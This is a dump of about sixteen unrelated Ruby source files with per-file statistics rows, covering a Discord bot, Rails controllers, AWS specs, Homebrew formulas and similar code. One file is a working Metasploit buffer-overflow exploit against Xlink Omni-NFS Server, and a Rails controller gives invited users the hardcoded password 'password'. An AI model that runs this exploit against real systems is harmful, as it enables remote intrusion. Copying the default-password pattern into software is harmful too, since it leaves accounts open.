@client[:nicknamer].insert(server_id: event.server.id, role: role, normal_prefix: args.drop(2).join(' '))
end
else
if upper == 'yes'
entry.update(upper_prefix: args.drop(2).join(' '))
else
entry.update(normal_prefix: args.drop(2).join(' '))
end
end
event.send_message(language['success'][upper])
end
end
def suffix_commands(args, event)
language = @language.get_json(event.server.id)['commands']['suffix']
if args.length < 2
event.send_message language['usage']
return
end
upper = args[0].downcase
unless %w[yes no].include? upper
event.send_message language['invalid']['upper']
return
end
role = args[1]
if event.server.role(role).nil?
event.send_message language['invalid']['role']
return
end
entry = @client[:nicknamer].where(server_id: event.server.id, role: role)
if args.length == 2
unless entry.all.empty?
if upper == 'yes'
if entry.first[:normal_suffix].strip.empty?
entry.delete
else
entry.update(upper_suffix: '')
end
else
if entry.first[:upper_suffix].strip.empty?
entry.delete
else
entry.update(normal_suffix: '')
end
end
end
event.send_message language['remove'][upper]
else
if entry.all.empty?
if upper == 'yes'
@client[:nicknamer].insert(server_id: event.server.id, role: role, upper_suffix: args.drop(2).join(' '))
else
@client[:nicknamer].insert(server_id: event.server.id, role: role, normal_suffix: args.drop(2).join(' '))
end
else
if upper == 'yes'
entry.update(upper_suffix: args.drop(2).join(' '))
else
entry.update(normal_suffix: args.drop(2).join(' '))
end
end
event.send_message(language['success'][upper])
end
end
def list_command(args, event)
language = @language.get_json(event.server.id)['commands']['list']
if args.empty?
event.channel.send_embed do |embed|
embed.title = language['title']
entries = @client[:nicknamer].where(server_id: event.server.id).map { |entry| event.server.role(entry[:role]).mention }.join(language['delimiter'])
embed.description = format(language['description'], e: entries)
end
else
event.send_message(language['usage'])
end
end
def info_command(args, event)
language = @language.get_json(event.server.id)['commands']['info']
if args.length == 1
role = event.server.role(args[0])
entry = @client[:nicknamer].first(server_id: event.server.id, role: role&.id)
if role && entry
event.channel.send_embed do |embed|
embed.title = format(language['title'], n: role.name, i: role.id)
embed.description = format(language['description'], r: role.mention, up: entry[:upper_prefix], us: entry[:upper_suffix], np: entry[:normal_prefix], ns: entry[:normal_suffix])
end
else
event.send_message(language['invalid'])
end
else
event.send_message(language['usage'])
end
end
def update_command(args, event)
language = @language.get_json(event.server.id)['commands']['update']
if args.length == 1
user = event.server.member(args[0])
unless user.nil?
update_nickname(user)
event.send_message(language['success'])
else
event.send_message(language['invalid'])
end
else
event.send_message(language['usage'])
end
end
def get_command(args, event)
language = @language.get_json(event.server.id)['commands']['get']
if args.length == 1
user = event.server.member(args[0])
unless user.nil?
event.send_message(format(language['get'], n: get_nickname(user)))
else
event.send_message(language['invalid'])
end
else
event.send_message(language['usage'])
end
end
def help(_user, channel)
command_language = @language.get_json(channel.server.id)['commands']['help']
channel.send_embed do |embed|
embed.title = command_language['title']
embed.description = command_language['description']
embed.timestamp = Time.now
embed.color = command_language['color']
end
end
end
| 31.613208 | 184 | 0.612802 |
bf3709f41e607e7a16d8f1203ca7a35a930f8c0e | 139 | class AddShortDescriptionToDevsite < ActiveRecord::Migration
def change
add_column :dev_sites, :short_description, :string
end
end
| 23.166667 | 60 | 0.798561 |
796b27ebd98e7ce41d818fb2e213e250e57c501e | 4,452 | # #Company class used for create company for add users to work
class CompaniesController < ApplicationController
before_action :set_company, only: %i[show edit update]
before_action :set_company_reports, only: %i[report_employees send_report]
before_action :authenticate_user!, except: %i[accept_invitation_to_company]
# GET /companies
# GET /companies.json
def index; end
# GET /companies/1
# GET /companies/1.json
def show
authorize @company
@projects = @company.projects
end
# GET /companies/new
def new
@company = Company.new
authorize @company
end
# GET /companies/1/edit
def edit; end
# POST /companies
# POST /companies.json
def create
@company = Company.new(company_params.merge({owner_id: current_user.id}))
authorize @company
respond_to do |format|
if @company.save
current_user.company_id = @company.id
current_user.incorporated_at = DateTime.now
@user = current_user
flash[:success] = t('.success')
if @user.save!
format.html { redirect_to @company }
format.json { render :show, status: :created, location: @company }
else
format.html { render :new }
format.json { render json: @company.errors, status: :unprocessable_entity }
end
else
flash[:danger] = @company.errors.full_messages
format.html { render :new }
format.json { render json: @company.errors, status: :unprocessable_entity }
end
end
end
# PATCH/PUT /companies/1
# PATCH/PUT /companies/1.json
def update
authorize @company
respond_to do |format|
if @company.update(company_params)
flash[:success] = t('.success')
format.html { redirect_to @company }
format.json { render :show, status: :ok, location: @company }
else
flash[:danger] = @company.errors.full_messages
format.html { render :edit }
format.json { render json: @company.errors, status: :unprocessable_entity }
end
end
end
def send_email
email = params[:email]
pass = "password"
@company = Company.find_by(id: params[:company_id])
authorize @company
user = User.new(name: "your name", lastname: "your lastname", email: email, password: pass, company_id: params[:company_id], incorporated_at: DateTime.now)
respond_to do |format|
if user.save
flash[:success] = t('.success')
UserMailer.welcome_to_company(@company, user).deliver
format.html { redirect_to @company }
format.json { render :show, status: :created, location: company_subscribe_user_path }
else
flash[:danger] = user.errors.full_messages
format.html { render :_addUsers, user: user }
format.json { render json: user.errors, status: :unprocessable_entity }
end
end
end
def subscribe_user
company_id = params[:company_id]
@company = Company.find_by(id: company_id)
authorize @company
@user = User.find(@company.id)
respond_to do |format|
format.html { render :_addUsers, user: @user }
format.json { render :show, status: :created, location: company_subscribe_user_path }
end
end
def accept_invitation_to_company
redirect_to edit_user_path(params[:user_id])
end
def remove_logo
company = Company.find(params[:id])
authorize company
company.update(logo: nil)
redirect_to edit_company_path(company)
end
def report_employees
respond_to do |format|
format.html
format.pdf do
send_data(
EmployeesReportPdf.new({ company: @company, 'type': params[:type_report] }).render,
filename: "#{t("pdf.employee_report")}.pdf",
type: 'application/pdf',
disposition: 'inline'
)
end
end
end
def send_report
CompanyMailer.send_report(@company, current_user, params[:type_report], params[:email]).deliver
flash[:success] = t('pdf.send_email.success')
redirect_to @company
end
private
# Use callbacks to share common setup or constraints between actions.
def set_company
@company = Company.find(params[:id])
end
def set_company_reports
@company = Company.find(params[:company_id])
end
# Never trust parameters from the scary internet, only allow the white list through.
def company_params
params.require(:company).permit(:id, :name, :description, :email, :logo)
end
end
| 30.493151 | 159 | 0.666891 |
01ef6026a302c0125b2d622e7c11bdb78b702ae4 | 537 | atom_feed do |feed|
feed.title "Upcoming Open Source Rails Projects"
@upcoming.each do |upcoming|
feed.entry(upcoming, :published => upcoming.promoted_at, :updated => upcoming.promoted_at) do |entry|
entry.title(upcoming.title)
entry.content(image_tag(AppConfig.site_url+upcoming.preview_url, :style => "float:left;margin-right:10px")+simple_format(upcoming.description)+"<br style='clear:both' />", :type => 'html')
entry.author do |author|
author.name(upcoming.owner.to_s)
end
end
end
end | 41.307692 | 194 | 0.703911 |
391b817e818a006e07480be9b923c1af4327dab5 | 6,844 | # Copyright 2011-2013 Amazon.com, Inc. or its affiliates. All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License"). You
# may not use this file except in compliance with the License. A copy of
# the License is located at
#
# http://aws.amazon.com/apache2.0/
#
# or in the "license" file accompanying this file. This file is
# distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF
# ANY KIND, either express or implied. See the License for the specific
# language governing permissions and limitations under the License.
require 'spec_helper'
module AWS
class ELB
describe Listener do
let(:config) { stub_config }
let(:client) { config.elb_client }
let(:load_balancer) { LoadBalancer.new('lb-name', :config => config) }
let(:listener) { Listener.new(load_balancer, 80) }
let(:desc_response) { client.stub_for(:describe_load_balancers) }
let(:description) {{
:listener => {
:load_balancer_port => 80,
:protocol => 'TCP',
:instance_port => 81,
:instance_protocol => 'HTTP',
:ssl_certificate_id => 'server-cert-arn',
}
}}
before(:each) do
listeners = [description]
lb = {
:load_balancer_name => load_balancer.name,
:listener_descriptions => listeners,
}
desc_response.data[:load_balancer_descriptions] = [lb]
end
context '#load_balancer' do
it 'returns the load balancer' do
listener.load_balancer.should == load_balancer
end
it 'has the right config' do
listener.config.should == config
end
end
context '#port' do
it 'returns the port' do
listener.port.should == 80
end
it 'stringifies the port' do
Listener.new(load_balancer, '443').port.should == 443
end
end
context '#protocol' do
it 'returns the protocol as a symbol' do
listener.protocol.should == :tcp
end
end
context '#instance_port' do
it 'returns the isntance port as an integer' do
listener.instance_port.should == 81
end
end
context '#instance_protocol' do
it 'returns the isntance protocol as a symbol' do
listener.instance_protocol.should == :http
end
end
context '#server_certificate' do
it 'returns the iam server certificate that has the matching arn' do
cert = double('iam-server-certificate', :arn => 'server-cert-arn')
IAM.stub_chain(:new, :server_certificates).and_return([cert])
listener.server_certificate.should == cert
end
end
context '#server_certificate=' do
it 'sends the server cert arn as ssl_certificate_id' do
cert = IAM.new(:config => config).server_certificates['cert-id']
cert.stub(:arn).and_return('abc')
client.should_receive(:set_load_balancer_listener_ssl_certificate).
with(
:load_balancer_name => load_balancer.name,
:load_balancer_port => listener.port,
:ssl_certificate_id => cert.arn)
listener.server_certificate = cert
end
end
context '#policy' do
it 'describes the load balancer to get the policy' do
response = client.stub_for(:describe_load_balancers)
response.data[:load_balancer_descriptions] = [
{
:load_balancer_name => load_balancer.name,
:listener_descriptions => [
{
:listener => { :load_balancer_port => listener.port },
:policy_names => ['policy-name-1']
}
]
}
]
client.stub(:describe_load_balancers).and_return(response)
listener.policy.should == load_balancer.policies['policy-name-1']
end
end
context '#policy=' do
it 'accepts policy names' do
client.should_receive(:set_load_balancer_policies_of_listener).with(
:load_balancer_name => load_balancer.name,
:load_balancer_port => listener.port,
:policy_names => ['policy-name'])
listener.policy = 'policy-name'
end
it 'accepts policy objects' do
policy = load_balancer.policies['policy-name']
client.should_receive(:set_load_balancer_policies_of_listener).with(
:load_balancer_name => load_balancer.name,
:load_balancer_port => listener.port,
:policy_names => [policy.name])
listener.policy = policy
end
end
context '#remove_policy' do
it 'sends no policy names' do
client.should_receive(:set_load_balancer_policies_of_listener).with(
:load_balancer_name => load_balancer.name,
:load_balancer_port => listener.port,
:policy_names => [])
listener.remove_policy
end
end
context '#exists?' do
it 'returns false if the load balancer does not exist' do
# no load balancers defined
response = client.stub_for(:describe_load_balancers)
response.data[:load_balancer_descriptions] = []
client.stub(:describe_load_balancers).and_return(response)
listener.exists?.should == false
end
it 'returns false if the load balancer policy does not exist' do
response = client.stub_for(:describe_load_balancers)
response.data[:load_balancer_descriptions] = [
{
:load_balancer_name => load_balancer.name,
:listener_descriptions => [],
}
]
client.stub(:describe_load_balancers).and_return(response)
listener.exists?.should == false
end
it 'returns true if the load balancer policy is described' do
response = client.stub_for(:describe_load_balancers)
response.data[:load_balancer_descriptions] = [
{
:load_balancer_name => load_balancer.name,
:listener_descriptions => [
{ :listener => { :load_balancer_port => listener.port } },
]
}
]
client.stub(:describe_load_balancers).and_return(response)
listener.exists?.should == true
end
end
context '#delete' do
it 'calls delete_load_balancer_listeners on the client' do
client.should_receive(:delete_load_balancer_listeners).with(
:load_balancer_name => load_balancer.name,
:load_balancer_ports => [listener.port])
listener.delete
end
end
end
end
end
| 26.42471 | 78 | 0.59775 |
ac54cb779d8f0ef0e54b33f809a7420d760719b6 | 1,727 | # -*- coding: utf-8 -*-
class IniFile
def initialize(fileName)
@fileName = fileName
getInfos
end
def getInfos
@infos = {}
lines = []
if File.exist?(@fileName)
lines = File.readlines(@fileName)
end
section = nil
lines.each do |line|
case line
when /^;/
next
when /^\[(.+)\]/
section = $1
when /^([^=]*)=(.*)/
next if section.nil?
key = $1
value = $2
@infos[section] ||= {}
@infos[section][key] = value
end
end
end
def getSectionNames
@infos.keys.sort
end
def readAndWrite(section, key, defaultValue)
value = read(section, key)
return value unless value.nil?
write(section, key, defaultValue)
value = read(section, key)
return value
end
def read(section, key, defaultValue = nil)
info = @infos[section]
if info.nil?
return defaultValue
end
value = info[key]
if value.nil?
return defaultValue
end
return value
end
def write(section, key, value)
@infos[section] ||= {}
@infos[section][key] = value
writeToFile
getInfos
end
def writeToFile
text = getWriteInfoText
File.open(@fileName, "w+") do |file|
file.write(text)
end
end
def getWriteInfoText
text = ''
text << "#--*-coding:utf-8-*--\n\n"
@infos.keys.sort.each do |section|
text << "[#{section}]\n"
info = @infos[section]
info.keys.sort.each do |key|
value = info[key]
text << "#{key}=#{value}\n"
end
text << "\n"
end
return text
end
def deleteSection(section)
@infos.delete(section)
writeToFile
getInfos
end
end
| 16.140187 | 46 | 0.552982 |
332222baa35cf5ebdf891af48a11a13188d0ed46 | 2,051 | # lib/bronze/entities/associations/builders/has_one_builder.rb
require 'bronze/entities/associations/builders/association_builder'
require 'bronze/entities/associations/metadata/has_one_metadata'
module Bronze::Entities::Associations::Builders
# Service class to define has_one associations on an entity.
class HasOneBuilder < AssociationBuilder
# Defines a has_one association on the entity class.
def build assoc_name, assoc_options = {}
name = tools.string.singularize(assoc_name.to_s)
options = tools.hash.symbolize_keys(assoc_options)
options = options_with_class_name(options, name)
options = options_with_inverse_name(options)
mt_class = Bronze::Entities::Associations::Metadata::HasOneMetadata
metadata = mt_class.new(entity_class, name, options)
define_property_methods(metadata)
metadata
end # method build
private
def define_predicate metadata
assoc_name = metadata.association_name
entity_class_associations.send :define_method,
metadata.predicate_name,
->() { !@associations[assoc_name].nil? }
end # method define_predicate
def define_property_methods metadata
define_predicate(metadata)
define_reader(metadata)
define_writer(metadata)
end # method define_property_methods
def define_reader metadata
assoc_name = metadata.association_name
entity_class_associations.send :define_method,
metadata.reader_name,
->() { @associations[assoc_name] }
end # method define_reader
def define_writer metadata
entity_class_associations.send :define_method,
metadata.writer_name,
->(entity) { write_has_one_association(metadata, entity) }
end # method define_writer
def options_with_inverse_name options
return options if options.key?(:inverse)
return options if entity_class.name.nil?
options.update(:inverse => entity_class.name.split('::').last)
end # method options_with_foreign_key
end # class
end # module
| 32.046875 | 73 | 0.735251 |
0811a8ec5cd7869f25a321348ae7e803f2f65eef | 2,261 | ##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = AverageRanking
include Msf::Exploit::Remote::Tcp
def initialize(info = {})
super(update_info(info,
'Name' => 'Omni-NFS Server Buffer Overflow',
'Description' => %q{
This module exploits a stack buffer overflow in Xlink Omni-NFS Server 5.2
When sending a specially crafted nfs packet, an attacker may be able
to execute arbitrary code.
},
'Author' => [ 'MC' ],
'References' =>
[
[ 'CVE', '2006-5780' ],
[ 'OSVDB', '30224'],
[ 'BID', '20941' ],
[ 'URL', 'http://www.securityfocus.com/data/vulnerabilities/exploits/omni-nfs-server-5.2-stackoverflow.pm' ],
],
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
},
'Payload' =>
{
'Space' => 336,
'BadChars' => "\x00",
'PrepenEncoder' => "\x81\xc4\x54\xf2\xff\xff",
'StackAdjustment' => -3500,
},
'Platform' => 'win',
'Targets' =>
[
[ 'Windows 2000 SP4 English', { 'Ret' => 0x0040bb2e } ],
],
'Privileged' => true,
'DefaultTarget' => 0,
'DisclosureDate' => 'Nov 06 2006'))
register_options([Opt::RPORT(2049)], self.class)
end
def exploit
connect
buff = payload.encoded
buff << Rex::Arch::X86.jmp_short(6) + rand_text_english(2)
buff << [target.ret].pack('V')
buff << Metasm::Shellcode.assemble(Metasm::Ia32.new, "call $-330").encode_string
buff << rand_text_english(251)
pkt = [1].pack('N')
pkt << [0].pack('N')
pkt << [2].pack('N')
pkt << [100005].pack('N')
pkt << [1].pack('N')
pkt << [1].pack('N')
pkt << [1].pack('N')
pkt << [400].pack('N')
pkt << buff[0,400]
pkt << [1].pack('N')
pkt << [400].pack('N')
pkt << buff[300,400]
sploit = [pkt.length | 0x80000000].pack('N') + pkt
print_status("Trying target #{target.name}...")
sock.put(sploit)
handler
disconnect
end
end
| 26.916667 | 119 | 0.528969 |
1ca0bdb25030b010c26598cc8285d58db2695f67 | 279 | require 'test_helper'
class StaticPagesControllerTest < ActionDispatch::IntegrationTest
test "should get home" do
get static_pages_home_url
assert_response :success
end
test "should get help" do
get static_pages_help_url
assert_response :success
end
end | 21.461538 | 65 | 0.774194 |
e83b7ff02bc3e9fe62a2459e1dbd93d4deef90d5 | 1,574 | # frozen_string_literal: true
module ActiveRecord
module AttributeMethods
module Read
extend ActiveSupport::Concern
module ClassMethods # :nodoc:
private
def define_method_attribute(name, owner:)
ActiveModel::AttributeMethods::AttrNames.define_attribute_accessor_method(
owner, name
) do |temp_method_name, attr_name_expr|
owner.define_cached_method(name, as: temp_method_name, namespace: :active_record) do |batch|
batch <<
"def #{temp_method_name}" <<
" _read_attribute(#{attr_name_expr}) { |n| missing_attribute(n, caller) }" <<
"end"
end
end
end
end
# Returns the value of the attribute identified by <tt>attr_name</tt> after
# it has been typecast (for example, "2004-12-12" in a date column is cast
# to a date object, like Date.new(2004, 12, 12)).
def read_attribute(attr_name, &block)
name = attr_name.to_s
name = self.class.attribute_aliases[name] || name
name = @primary_key if name == "id" && @primary_key
@attributes.fetch_value(name, &block)
end
# This method exists to avoid the expensive primary_key check internally, without
# breaking compatibility with the read_attribute API
def _read_attribute(attr_name, &block) # :nodoc:
@attributes.fetch_value(attr_name, &block)
end
alias :attribute :_read_attribute
private :attribute
end
end
end
| 34.217391 | 106 | 0.625159 |
088be540e07ac9c6a41e657836884e88e41eec38 | 169 | module Netzke
module Core
module Version
MAJOR = 0
MINOR = 7
PATCH = 5
STRING = [MAJOR, MINOR, PATCH].compact.join('.')
end
end
end
| 14.083333 | 54 | 0.556213 |
1dd6ab5acf44599a05f7790d76c35a6fe55924a3 | 528 | class Review < ApplicationRecord
belongs_to :product
belongs_to :user
has_many :manufacturers, through: :products
accepts_nested_attributes_for :product, update_only: true
validates :rating, presence: true, numericality: {greater_than_or_equal_to: 1, less_than_or_equal_to: 10}
validates :comment, presence: true
# length: {in: 10..400} #, message: "Comment must be between 10 and 400 characters"
# user.where(proudct, best review)
scope :best, ->(product_id) {where("rating > ?", 7.5).limit(1)}
end
| 33 | 107 | 0.731061 |
1d98814b5c91cb008f9ad8f97b12fab9eb1f9a47 | 4,384 | class Grafana < Formula
desc "Gorgeous metric visualizations and dashboards for timeseries databases"
homepage "https://grafana.com"
url "https://github.com/grafana/grafana/archive/v6.4.2.tar.gz"
sha256 "28f961f7b2c68e5961561fca99dd02a03382503a6179df9b62487df2501e171f"
head "https://github.com/grafana/grafana.git"
bottle do
cellar :any_skip_relocation
sha256 "bf0ce0c112edd78c98e4c2cb8ba38865a34507c40b715f12644c765cb1119bb8" => :catalina
sha256 "3d75defcbe595370ef611011062649e496d77fef9b79d26af0ee4101dc8cbef4" => :mojave
sha256 "eab444f297fc4adee8379ff13c859427110cb20c0a168c12ad1ead1c91f6b6eb" => :high_sierra
end
depends_on "[email protected]" => :build
depends_on "node@10" => :build
depends_on "yarn" => :build
def install
ENV["GOPATH"] = buildpath
grafana_path = buildpath/"src/github.com/grafana/grafana"
grafana_path.install buildpath.children
cd grafana_path do
system "go", "run", "build.go", "build"
system "yarn", "install", "--ignore-engines"
system "node_modules/grunt-cli/bin/grunt", "build"
bin.install "bin/darwin-amd64/grafana-cli"
bin.install "bin/darwin-amd64/grafana-server"
(etc/"grafana").mkpath
cp("conf/sample.ini", "conf/grafana.ini.example")
etc.install "conf/sample.ini" => "grafana/grafana.ini"
etc.install "conf/grafana.ini.example" => "grafana/grafana.ini.example"
pkgshare.install "conf", "public", "tools", "vendor"
prefix.install_metafiles
end
end
def post_install
(var/"log/grafana").mkpath
(var/"lib/grafana/plugins").mkpath
end
plist_options :manual => "grafana-server --config=#{HOMEBREW_PREFIX}/etc/grafana/grafana.ini --homepath #{HOMEBREW_PREFIX}/share/grafana --packaging=brew cfg:default.paths.logs=#{HOMEBREW_PREFIX}/var/log/grafana cfg:default.paths.data=#{HOMEBREW_PREFIX}/var/lib/grafana cfg:default.paths.plugins=#{HOMEBREW_PREFIX}/var/lib/grafana/plugins"
def plist; <<~EOS
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>KeepAlive</key>
<dict>
<key>SuccessfulExit</key>
<false/>
</dict>
<key>Label</key>
<string>#{plist_name}</string>
<key>ProgramArguments</key>
<array>
<string>#{opt_bin}/grafana-server</string>
<string>--config</string>
<string>#{etc}/grafana/grafana.ini</string>
<string>--homepath</string>
<string>#{opt_pkgshare}</string>
<string>--packaging=brew</string>
<string>cfg:default.paths.logs=#{var}/log/grafana</string>
<string>cfg:default.paths.data=#{var}/lib/grafana</string>
<string>cfg:default.paths.plugins=#{var}/lib/grafana/plugins</string>
</array>
<key>RunAtLoad</key>
<true/>
<key>WorkingDirectory</key>
<string>#{var}/lib/grafana</string>
<key>StandardErrorPath</key>
<string>#{var}/log/grafana/grafana-stderr.log</string>
<key>StandardOutPath</key>
<string>#{var}/log/grafana/grafana-stdout.log</string>
<key>SoftResourceLimits</key>
<dict>
<key>NumberOfFiles</key>
<integer>10240</integer>
</dict>
</dict>
</plist>
EOS
end
test do
require "pty"
require "timeout"
# first test
system bin/"grafana-server", "-v"
# avoid stepping on anything that may be present in this directory
tdir = File.join(Dir.pwd, "grafana-test")
Dir.mkdir(tdir)
logdir = File.join(tdir, "log")
datadir = File.join(tdir, "data")
plugdir = File.join(tdir, "plugins")
[logdir, datadir, plugdir].each do |d|
Dir.mkdir(d)
end
Dir.chdir(pkgshare)
res = PTY.spawn(bin/"grafana-server",
"cfg:default.paths.logs=#{logdir}",
"cfg:default.paths.data=#{datadir}",
"cfg:default.paths.plugins=#{plugdir}",
"cfg:default.server.http_port=50100")
r = res[0]
w = res[1]
pid = res[2]
listening = Timeout.timeout(5) do
li = false
r.each do |l|
if l =~ /Initializing HTTPServer/
li = true
break
end
end
li
end
Process.kill("TERM", pid)
w.close
r.close
listening
end
end
| 32.474074 | 341 | 0.639827 |
3966a8ab5ad9f43ab1da07e4d87410b5abb9b61d | 1,643 | class Hbc::CLI::Install < Hbc::CLI::Base
def self.run(*args)
cask_tokens = cask_tokens_from(args)
raise Hbc::CaskUnspecifiedError if cask_tokens.empty?
force = args.include? '--force'
skip_cask_deps = args.include? '--skip-cask-deps'
retval = install_casks cask_tokens, force, skip_cask_deps
# retval is ternary: true/false/nil
if retval.nil?
raise Hbc::CaskError.new("nothing to install")
elsif !retval
raise Hbc::CaskError.new("install incomplete")
end
end
def self.install_casks(cask_tokens, force, skip_cask_deps)
count = 0
cask_tokens.each do |cask_token|
begin
cask = Hbc.load(cask_token)
Hbc::Installer.new(cask, force: force, skip_cask_deps: skip_cask_deps).install
count += 1
rescue Hbc::CaskAlreadyInstalledError => e
opoo e.message
count += 1
rescue Hbc::CaskAutoUpdatesError => e
opoo e.message
count += 1
rescue Hbc::CaskUnavailableError => e
warn_unavailable_with_suggestion cask_token, e
end
end
count == 0 ? nil : count == cask_tokens.length
end
def self.warn_unavailable_with_suggestion(cask_token, e)
exact_match, partial_matches, search_term = Hbc::CLI::Search.search(cask_token)
errmsg = e.message
if exact_match
errmsg.concat(". Did you mean:\n#{exact_match}")
elsif !partial_matches.empty?
errmsg.concat(". Did you mean one of:\n#{Hbc::Utils.stringify_columns(partial_matches.take(20))}\n")
end
onoe errmsg
end
def self.help
"installs the given Cask"
end
def self.needs_init?
true
end
end
| 29.872727 | 106 | 0.669507 |
e8402ea7861f36f058d84114360a2c4b42a8fa97 | 290 | def parse_dependency_versions(provision_cookbook)
new_dependencies = {}
run_context.cookbook_collection[provision_cookbook].metadata.dependencies.each do |cookbook, md_version|
version = md_version.split(" ")[1]
new_dependencies[cookbook] = version
end
new_dependencies
end
| 32.222222 | 106 | 0.793103 |
e2c9a7cd9c4f0a8dde203bc4913786e31d5a9502 | 1,101 | # frozen_string_literal: true
require_relative "../../concourse-objects"
module ConcourseObjects
module Resources
class DeployGate < Resource
RESOURCE_NAME = "deploygate"
RESOURCE_LICENSE = "MIT"
GITHUB_OWNER = "YuukiARIA"
GITHUB_REPOSITORY = "YuukiARIA/concourse-deploygate-resource"
GITHUB_VERSION = "v0.2.1"
class Source < Object
required :api_key, write: AsString
required :owner, write: AsString
end
class OutParams < Object
required :file, write: AsString
optional :message, write: AsString
optional :message_file, write: AsString
optional :distribution_key, write: AsString
optional :distribution_name, write: AsString
optional :release_note, write: AsString
optional :disable_notify, write: AsBoolean
optional :visibility, write: AsString
end
optional :source, write: Source
def initialize(options = {})
super(options.merge(type: "mock"))
end
end
end
end
| 28.230769 | 67 | 0.627611 |
ab0b9eaaea47f0b28a6189f03ee85c116d6f439f | 2,010 | require 'time'
require 'date'
require 'tzinfo'
require 'active_support/core_ext/time/zones'
require 'active_support/core_ext/time/calculations'
require 'active_support/time_with_zone'
require 'active_support/core_ext/object/try'
require 'active_support/core_ext/object/blank'
require 'active_support/core_ext/hash/keys'
class DateParams::Parser
attr_reader :param, :options, :params, :date_format, :time_format
def initialize(param, options, params)
@param = param
@options = options
@params = params
@date_format = options.fetch :date_format, default_date_format
@time_format = options.fetch :time_format, default_time_format
end
def parse_date_param!(field = param)
date_string = traversed_params.try(:[], field)
return if date_string.blank?
inferred_date_format = date_string =~ /\d{4}-\d{2}-\d{2}/ ? '%Y-%m-%d' : date_format
date = Date.strptime(date_string, inferred_date_format)
traversed_params[field] = date if date
end
def parse_datetime_param!
if param.is_a? Hash
fields = param
fields.assert_valid_keys :date, :time, :field
else
fields = {
date: "#{param}_date".to_sym,
time: "#{param}_time".to_sym,
field: param
}
end
date = parse_date_param! fields[:date]
return if date.blank?
time_string = traversed_params.try(:[], fields[:time])
return if time_string.blank?
datetime_format = "%Y-%m-%dT#{time_format}%z"
datetime_string = "#{date.iso8601}T#{time_string}#{Time.zone.name}"
datetime = Time.strptime(datetime_string, datetime_format).in_time_zone(Time.zone)
traversed_params[fields[:field]] = datetime if datetime
end
protected
def default_date_format
'%m/%d/%Y'
end
def default_time_format
'%I:%M %p'
end
private
def traversed_params
traversed_params = params
if options[:namespace].present?
traversed_params = traversed_params.try :[], options[:namespace]
end
traversed_params
end
end
| 28.309859 | 88 | 0.700498 |
7aca59d700160f2e4aab0e3efe27209af67e8b28 | 2,007 |
Pod::Spec.new do |s|
# 库名字
s.name = "LFBPageController"
# 库的版本
s.version = "1.0.0"
# 库摘要
s.summary = "一款仿网易标题滚动切换页面的框架"
# 库描述
s.description = <<-DESC
简单易容的标题滚动切换页面框架,通过点击标题或者滑动页面,切换页面和标题...
DESC
# 远程仓库地址,即GitHub地址,或者你使用的其他Gitlab地址
s.homepage = "https://github.com/LiuFuBo1991/LFBPageController"
# MIT许可证 (The MIT License),软件授权条款
s.license = "MIT"
# 作者信息
s.author = { "liufubo" => "[email protected]" }
# 作者信息
s.social_media_url = "http://www.jianshu.com/u/7d935e492eec"
# 支持的系统及支持的最低系统版本
s.platform = :ios
s.platform = :ios, "8.0"
# 支持多平台使用时配置
# s.ios.deployment_target = "5.0"
# s.osx.deployment_target = "10.7"
# s.watchos.deployment_target = "2.0"
# s.tvos.deployment_target = "9.0"
# 下载地址,远程仓库的 GitHub下载地址(clone 地址), 使用.git结尾
# 如果使用版本号做为tag那么不能频繁的打tag,必须要保持版本号和tag一致,否在拉取到的将是版本号作为tag对应提交的内容
s.source = { :git => "https://github.com/LiuFuBo1991/LFBPageController.git", :tag => "#{s.version}" }
# 库文件在仓库中的相对路径
# 等号后面的第一个参数表示的是要添加 Cocoapods 依赖的库在项目中的相对路径
# 我的库在库根目录,所以直接就是LFBPageController
# 如果库放在其他地方,比如LFBPage/LFBPageController,则填写实际相对路径
# 等号后的第二个参数,表示LFBPageController文件夹下的哪些文件需要 Cocoapods依赖
# "**"这个通配符代表LFBPageController文件下所有文件,"*.{h,m}代表所有的.h,.m文件"
s.source_files = "LFBPageController", "LFBPageController/**/*.{h,m,md}"
# 指明 LFBSocialSDK文件夹下不需要添加到 Cocoapods的文件
# 这里 Exclude 文件夹内的内容
#s.exclude_files = "LFBPageController/Exclude"
# 公开头文件
#s.public_header_files = "LFBPageController/Classes/**/*.h"
# 项目中是否用到ARC
s.requires_arc = true
# 项目中的图片资源
#s.resource_bundles = {
# 'LFBPageController' => ['LFBPageController/**/*.{xcassets}']
#}
# 库中用到的框架或系统库 (没有用到可以没有)
#s.static_framework = true
# s.framework = "SomeFramework"
# s.frameworks = "SomeFramework", "AnotherFramework"
# s.library = "iconv"
# s.libraries = "iconv", "xml2"
# 如果库中依赖其他的三方库,可以添加这些依赖库
end | 24.777778 | 109 | 0.653214 |
e9f99233d447342603fc4cb92acd93399525410c | 105 | require 'fog/volume/openstack/requests/replace_metadata'
require 'fog/volume/openstack/v1/requests/real'
| 35 | 56 | 0.838095 |
1d69c3fb5825171dc039705687685c6aed185f3a | 684 | class Api::V1::UsersController < ApplicationController
def new
user = User.new
render json: user, status: 200
end
def create
user = User.new(user_params)
if user.save
log_in(user)
cookies["logged_in"] = true
render json: user, except: [:password_digest]
else
render json: { errors: user.errors.full_messages}, status: 400
end
end
def show
user = User.find(params[:id])
render json: user, status: 200
end
private
def user_params
params.require(:user).permit(:email, :name, :username, :password)
end
end
| 22.8 | 75 | 0.557018 |
1cbc6c2837938a947f7a6508f7e5785bf218cbfa | 757 | require "rspec/expectations"
RSpec::Matchers.define :have_delivered_notification do |notification_type|
supports_block_expectations
match do |proc|
raise ArgumentError, "have_delivered_notification only supports block expectations" unless proc.respond_to?(:call)
expected_attributes = {
type: notification_type,
params: (hash_including(expected_params) if expected_params),
recipient: expected_recipient,
}.compact
expect(proc).to change { Notification.count }.by(1)
expect(Notification.last).to have_attributes(expected_attributes)
end
chain :with_params, :expected_params
chain :and_params, :expected_params
chain :with_recipient, :expected_recipient
chain :and_recipient, :expected_recipient
end
| 30.28 | 118 | 0.775429 |
bfd3bd22cd2f608b1a81e21b55875833db377831 | 80 | class RecipeTag < ActiveRecord::Base
belongs_to :recipe
belongs_to :tag
end
| 16 | 36 | 0.775 |
